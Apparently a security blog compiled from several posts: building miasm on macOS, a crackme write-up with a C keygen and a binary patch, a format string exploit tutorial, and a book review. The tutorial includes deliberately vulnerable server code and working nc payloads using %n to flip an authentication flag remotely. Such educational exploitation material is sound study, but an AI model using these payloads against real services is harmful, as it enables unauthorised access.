Installing MIASM on macOS

I’ve been reading the blog recently and I wanted to give miasm a try. The scope of this article is to provide guidance on how to build miasm on macOS and introduce miasm to my readers.

Miasm is a free and open source (GPLv2) reverse engineering framework. Miasm aims to analyze / modify / generate binary programs. Here is a non exhaustive list of features:

If you’re curious about miasm’s powers you should give these articles a quick read:

Using MIASM with Docker

To execute the following command you must have Docker installed.

docker pull miasm/base

In order to get a running shell and mount the current working directory in the container you can use the following command:

docker run --rm -it --user root -v ${PWD}:/host miasm/base bash 

The working directory of the host machine is mounted in the container under /host. Running miasm scripts with python should be straight forward now.

One drawback to this approach is that the docker image was updated a year ago and it might not contain the latest functionality.

Building MIASM os macOS

To build MIASM on macOS you will need Python 2.7.* installed. If you don’t have it you can use PyEnv to install it. To build Python you need to install openssl from brew, link it and export the compiler variables. After getting that done you can proceed by installing elfesteem and other miasm dependencies.

git clone elfesteem 
cd elfesteem
python build
python install

pip install pyparsing
pip install pycparser

Now clone miasm’s repo and prepare manually patch a header file.

git clone miasm
cd miasm
# patch the file (details below)
python build
python install

If you build MIASM before the patch the build will fail with errors indicating the use of two undeclared identifiers: __LITTLE_ENDIAN and __BIG_ENDIAN. To fix this, edit the miasm2/jitter/vm_mngr.h file as shown in the github link.

Building and installing miasm should work now. To check if it’s working try running a script from the examples directory.

(miasm) ➜  miasm git:(master) python example/disasm/
usage: Disassemble a binary [-h] [-m ARCHITECTURE] [-f] [-b BLOCKWATCHDOG]
[-n FUNCSWATCHDOG] [-r] [-v] [-g] [-z] [-l] [-s]
[-o SHIFTOFFSET] [-a] [-i] [-c] [-d] [-p] [-x]
filename [address [address …]]
Disassemble a binary: error: too few arguments

Next step is to add miasm’s jitter libraries to the path. Your miasm location and build folder name may be different:

xport DYLD_LIBRARY_PATH="~/miasm/miasm/build/lib.macosx-10.14-x86_64-2.7/miasm2/jitter:~/miasm/miasm/build/lib.macosx-10.14-x86_64-2.7/miasm2/jitter/arch"

Thanks for reading and happy holidays!

Keygenme or Not

Keygenme or Not is a cute reversing challenge I found on It requires an username and an activation key.  I particularly enjoyed this challenge and decided to make a blog post about it. The twist of this challenge is that you can solve it without writing any code, thus the name ‘Keygenme or Not’.

If you want to solve this challenge but you’re stuck you should definitely give it one more try because solving it is very easy.  Come back if you’d like to see the keygen code and my thoughts about this challenge.
Let’s imagine that this is in fact a useful program with poorly implemented protection. The program KMN is registered to the user ‘’ and will work only with their key. Using any other combination of username and key won’t make the program work, even if they’re valid.

Let’s see how KMN authenticates users, it gets the username and the key and after that it calls the _auth function. After the _auth function returns, the program checks if the authentication was successful by comparing _auth’s return value with zero. If the return value of _auth is any other value other than zero then the authentication fails.

__text:0000000100000D81                 call    _auth __text:0000000100000D86                 cmp     eax, 0

We shouldn’t patch the cmp instruction and let the program do it’s “thing”, because the _auth sets some internal state that we need later on.
Now, I hope that you’re versed in reversing because I’ll skip some details. The only part that interests me is the loop that derives the application key from the username. I have reverse engineered this part and posted the C code in this article.

If we look at the locLastCheck we can see that the application key for the username ‘’ is hardcoded and all you have to do to get the flag is provide KMN with it. 

We can avoid the hardcoded username constraint by pathing the jz instruction to jmp, this way the program will check if the application key is correct and it will work regardless of username. And in order to build a keygen we will have to remove locLastCheck entirely and just print the computed uiSeed.

Below is my code for the keygen:

* Keygen for the "KeygenMe or Not" challenge.
* */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
void exit_error(char * e) {
fprintf(stderr, "%s\n", e);
void auth(char * username, unsigned magicNumber) {
unsigned username_length = strnlen(username, 32);
unsigned uiSeed = (username[3] ^ 0x1337) + 0x5EEDED;
unsigned uiAccumulator = 0;
while(true) {
if (uiAccumulator >= username_length) {
/* I've commented the check from below in order to get the uiSeed. This is the keygen, basically */
// if (magicNumber != uiSeed) {
// exit_error("magicNumber is not equal to uiSeed");
// }
/* I guess the block from below gives the title "Keygenme or Not" to this challenge. */
// if (magicNumber == 6235464) {
// printf("Solution found!\n");
// }
printf("Solution found: %u\n", uiSeed);
} else {
/* Checks wheter username is a character between a ' '(space) and ''(empty) */
if (username[uiAccumulator] < 0x20 || username[uiAccumulator] > 0x7F) {
exit_error("err: username[uiAccumulator] < 0x20 || username[uiAccumulator] < 0x7F");
} else {
unsigned dividend = username[uiAccumulator] ^ uiSeed;
uiSeed += dividend % 0x539;
uiAccumulator += 1;
int main(int argc, char *argv[], char *envp[]) {
if (argc < 3) {
auth("", 6235464);
} else {
auth(argv[1], atoi(argv[2]));
view raw kmn.c hosted with ❤ by GitHub

And the demonstration that the patched binary actually works with valid activation keys:

➜  Desktop ./macho_patched
.activation key.
Authenticated! You can use this password to valid8

Thank you for reading and happy holidays!

Format String Exploit

Hello and welcome to Nucu Labs agent! 

We’ve been contracted by some external contractors to help them break…, I mean, assist them in making their life easier with their “competition”.

We obtained their competition’s software from a poorly configured AWS server.

Their competition, X, uses the software in order to setup a private communication channel to their servers, the software is simple, it fires up a server, listens on a port and waits for the right password, when the right password is entered, the server remembers the client and stops asking for passwords, simple.

Luckily the source code was also lying around otherwise we would had to reverse engineer the binary ourselves, trivial, I know.

Here’s the source code, take a look at yourself and take your time, don’t want to be missing something.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <syslog.h>
#include <time.h>

#define PORT 9090
#define BUFFER_LENGTH 500

char *password;
int security_flag = 0;

/* This function will initialize the program */
void initialize(void) {
    int i;
    password = malloc(sizeof(char) * 10);

    for (i = 0; i < 9; i++) {
        double f = (double)rand() / RAND_MAX;
        password[i] = 65 + f * (90 - 65);
    password[9]  = '\n';
    password[10] = '\0';

    printf("Server initialized!\n");
    printf("Server password: %s", password);


int main(void) {
    struct sockaddr_in server;
    struct sockaddr_in client;
    char buf[BUFFER_LENGTH];
    char responseBuf[BUFFER_LENGTH];
    int clientLen = sizeof(struct sockaddr_in);


    /* Setup server */
    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        perror("ERROR on binding");
    /* Sync server, handle only one client, low budget */
    for (;;) {
        /* Set buffers to zero so no overlapping */
        bzero(buf, BUFFER_LENGTH);
        bzero(responseBuf, BUFFER_LENGTH);
        int size = recvfrom(sock, &buf, BUFFER_LENGTH-1, 0, (struct sockaddr *) &client, &clientLen);
        printf("size received: %d\n", size);

        if (security_flag != 0 || (strcmp(buf, password) == 0 && size > MIN_PASSWORD_LENGTH)) { 
            // When password is correct, let vadim see secret orders from network and don't require password anymore..
            sendto(sock, "secret unlocked\n", 17, 0, (struct sockaddr *) &client, clientLen);
            security_flag = 1;
            // [Imagine secret menu here]
        } else if (size > MIN_PASSWORD_LENGTH) {
            char logBuffer[BUFFER_LENGTH] = {'\0'};

            int size = sprintf(logBuffer, buf);
            logBuffer[size] = '\0';

            sendto(sock, logBuffer, size+1, 0, (struct sockaddr *) &client, clientLen);


    return EXIT_SUCCESS;

Have you read the source code? Okay good.

Remember, our goal is to exploit this software remotely, we will need to design an exploit.

Lab setup

It is recommended that you fire up a Linux 32 bit machine on your VirtualBox if you host isn’t Linux.

As you can see (assuming that you’ve read the code), we’re interested in either switching the security flag remotely or getting the program to spit out the password, both are possible, both are, but based on our lab testing we could only switch the security flag. If you figure out how to get the password then please tell us and you may even get a promotion and a free bottle of vodka.

These are the things I’m talking about. Go back and revisit the code if you’ve forgotten what they do already.

char *password; // Generated randomly.
int security_flag = 0; // Just an integer. Non zero = win

When we compile the program we get this, bingo:

➜  /vagrant gcc -fno-stack-protector my_server.c -o mserv
my_server.c: In function ‘main’:
my_server.c:72:13: warning: format not a string literal and no format arguments [-Wformat-security]
             int size = sprintf(logBuffer, buf);

We compiled the binary with the flag -fno-stack-protector because we want to extract the password, and when the stack is protected we can’t extract it! GCC inserts some extra code in the binary to abort the execution if the stack becomes corrupted. 

➜  /vagrant objdump -t mserv | egrep "password|flag"
0804a088 g     O .bss	00000004              security_flag
0804a08c g     O .bss	00000004              password

As you can see if we run objdump -t to get the symbols and filter them with egrep. What we care about is the addresses of the security_flag and password. But how will this help us? This will help us because printf uses the stack. Pick one of the following training material and read it then try to bypass the program and make it send you the secret menu. I’m sure you can do it and if not, then read on.

Switching the security_flag

Switching the security flag is easy, all we have to do is make the pop the stack until we’re at the beginning of our format string and then make the format string containing the 4 byte address that we want to write to. 

In order to write to that address we will use %n and to pop the stack %.8x.

  • %n – writes the total number of printed characters to a variable.
  • %.8x – displays an address in a pretty way.

Let’s use python to simplify our exploit techniques by saving us lots of characters to type.

We fire two terminals, one for the program and one for our exploit.

// Sending 123456 to the server echoes it back to us because that's what the server is supposed to do.
➜  ~ python3 -c "print('123456')" | nc -u 9090

// We can unlock the secret by looking at the other terminal and sending it the correct password
➜  ~ python3 -c "print('KCOIAMKAF')" | nc -u 9090
secret unlocked

// restart the server.

Now, let’s unlock the secret by not knowing the correct password and by only switching the security flag, as we seen earlier, it’s address is: 0804a088.

// If we send %.8x. 10 times we get the following output back. We're trying to pop the stack until we're at the beginning of our format string, this way we can inject things.

➜  ~ python3 -c "print('%.8x.'*10)" | nc -u 9090

// We send out 'aaaa' which is 61616161 in hex and look, there's is a response containing aaaa. 
➜  ~ python3 -c "print('aaaa'+'%.8x.'*10)" | nc -u 9090

// Narrowing it down we have to send 7 times %x in order to get the stack to point to our string. If we send 8 we miss it.
➜  ~ python3 -c "print('aaaa'+'%.8x.'*8)" | nc -u 9090

To write to the security flag we will make the stack point to our string and we will replace the aaaa with the address of the security_flag which is: 0804a088.

➜  ~ python -c "print('\x08\x04\xa0\x88'+'%.8x.'*8+'')" | nc -u 9090
// wait this doesn't look good, it looks like our address is displayed in reverse, this has to do with endianness, let's reverse the address.

➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*8+'')" | nc -u 9090

All we have to do now is go back one address and write to it:

// It doesn't matter what value we write to the flag since the program only checks if flag is zero.
➜  ~ python -c "print('\x88\xa0\x04\x08'+'%.8x.'*7+'%n')" | nc -u 9090

// Nothing happens. But if we try to contact the server again:
➜  ~ nc -u 9090
secret unlocked
secret unlocked

Getting the password

In theory getting the password should work in the same way as switching the secret_flag. Replace %n with %s and make sure that you’ve got address of the password in the beginning of the format buffer that you’re sending to the server.

That’s all! Thank you for reading and have a nice day!

Practical Binary Analysis | No Starch Press

I started reading this book in november and it took me about two weeks to finish it. You should be a bit comfortable Linux and programming if you plan to give it a try. Here are my thoughts about it.

What I like the most about this book is that it explains the subject in a straightforward and concise way! The author is a very knowledgeable security researcher and his work is state of the art! 

The book helped me fill a lot of gaps about how binary analysis is done, code obfuscation, linear disassemblers, recursive disassemblers, intermediate languages and lots of tools and libraries. It also helped me learn things that I didn’t know they exist, like: code injection, binary instrumentation, dynamic taint analysis and symbolic execution analysis.

Each chapter sets the foundation for the next one and at the end of each chapter you’re invited to solve the exercises which help you enforce and understand the information. The code and examples can be found on the book’s website.

There weren’t many books that I’ve found the appendixes very useful. This one is an exception! There’s one appendix that guides you on further reading and one that discusses the disassemblers and tools used in the book. Being a novice in the field I just love when I get recommendation from an expert like Dennis Andriesse.

I enjoyed the book a lot and I hope you will too! 🙂